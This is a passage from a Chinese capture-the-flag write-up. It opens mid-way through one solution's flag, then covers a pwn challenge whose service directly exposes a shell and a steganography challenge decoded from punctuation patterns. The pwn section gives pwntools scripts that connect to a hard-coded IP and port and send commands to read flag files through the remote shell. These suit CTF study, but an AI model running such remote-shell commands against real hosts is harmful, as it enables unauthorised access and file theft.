这几个量一旦对上,脚本跑出来的结果会非常“像真货”,而不是只有一行 flag。控制台会直接吐出一整段恢复文本,里面既有审计头,也有算法标识,还能看到:
1 2 3 Algorithm: XOR + CustomBase64 v2.3 Input Data: SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e} Status: COMPLETE
这一步就是最好的结果确认。因为如果逆序错了,通常会得到乱码或者半可读串;只有 xor -> rol -> add 这条链被完整反过来,才会恢复出这种结构完整、语义连贯的明文记录。做到这里就不需要再二次猜测,Input Data 那一行里的内容就是最终 flag。
Flag:
1 SDPCSEC{M155_1da_thank_y0u_f0r_solv1ng_her_troub7e}
pwner_LEVEL0
类型:Pwn
得分:76
时间:06/06 09:12:04
这题起手不用找溢出点,也不用猜交互流程,连上以后先看程序行为就够了。服务端先回一行 hello hacker,紧接着就已经把标准输入输出接进了 /bin/sh。也就是说这题没有第二层利用链,真正的 exploit 就是确认“是不是直给 shell”,确认完立刻读 flag。
实际拿题时最先钉死方向的,就是这两个现象同时出现:
连接后先收到固定欢迎串 hello hacker
后续发的命令会被 shell 正常执行,而不是被题目自己的菜单或校验逻辑吃掉
所以最稳的做法反而是把交互写得稍微像个标准脚本,先把欢迎串收一下,再一次性把读 flag 的命令打进去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *HOST = "123.56.126.77" PORT = 1012 def main (): io = remote(HOST, PORT) banner = io.recvuntil(b"\n" , timeout=2 ) print (banner.decode("latin1" , "ignore" ), end="" ) io.sendline(b"cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null" ) data = io.recvrepeat(1.5 ) print (data.decode("latin1" , "ignore" )) if __name__ == "__main__" : main()
如果想更快,甚至可以压缩成一句 remote -> sendline("cat /flag") -> recvrepeat();但我这里还是把欢迎串先收掉,因为只要先看到 hello hacker,就等于把“这是一个直接给 shell 的服务”这件事确认死了,后面不需要再做任何试探。
这题的收口也非常直接:命令打进去以后,返回内容里立刻会出现 flag,没有额外回显门槛,也没有二次交互要求。最后交出去的就是这条最小利用链。
最小版 exp 也就是:
1 2 3 4 5 6 7 from pwn import *io = remote("123.56.126.77" , 1012 ) io.recvuntil(b"hello hacker\n" , timeout=2 ) io.sendline(b"cat /flag" ) print (io.recvrepeat(1.5 ).decode("latin1" , "ignore" ))
Flag:
1 SDPC{SkRHUbeeQUKz8UMMf9keGUQxDWM4nB}
signin?
类型:Misc
得分:127
时间:06/06 09:11:53
这题最容易卡人的地方,是大家会先去读 ai_reply.txt 的“意思”,但这正好是题目故意布的假线索。 文件正文几乎全是重复、空转、套话式的 AI 输出,而文本本身也在反复提醒:不要精读语义,要看结构、节奏、标点和重复模式。
把段落对齐后能发现:
前 12 段都是同一类模板的变体;
每段恰好都有 12 个标点;
正好存在 4 种标点,因此天然可以映射成 2 bit。
按下面这个映射恢复:
1 2 3 4 , = 00 。 = 01 ; = 10 : = 11
把前 12 段的标点序列逐段取出、按 2 bit 一组拼起来,正好能还原出主体字符串;最后第 13 段补出末尾的 }。 最终得到的 flag 为:
实际用的提取脚本很短,重点就是先把前 12 段的标点抠出来,再按映射拼 bitstream:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pathlib import Pathtext = Path("ai_reply.txt" ).read_text(encoding="utf-8" ) paras = [p.strip() for p in text.split("\n\n" ) if p.strip()] mapping = {"," : "00" , "。" : "01" , ";" : "10" , ":" : "11" } bitstream = "" for para in paras[:12 ]: puncts = [ch for ch in para if ch in mapping] assert len (puncts) == 12 bitstream += "" .join(mapping[ch] for ch in puncts) out = "" .join( chr (int (bitstream[i:i + 8 ], 2 )) for i in range (0 , len (bitstream), 8 ) ) print (out + "}" )
这里有两个很硬的确认点:
前 12 段每段都恰好 12 个标点,形状非常规整;
四种标点正好对应 2 bit,拼完以后直接出来可读 flag 文本,不需要再二次猜测。
Flag:
1 sdpcsec{welcome_2026_4nd_competiton!}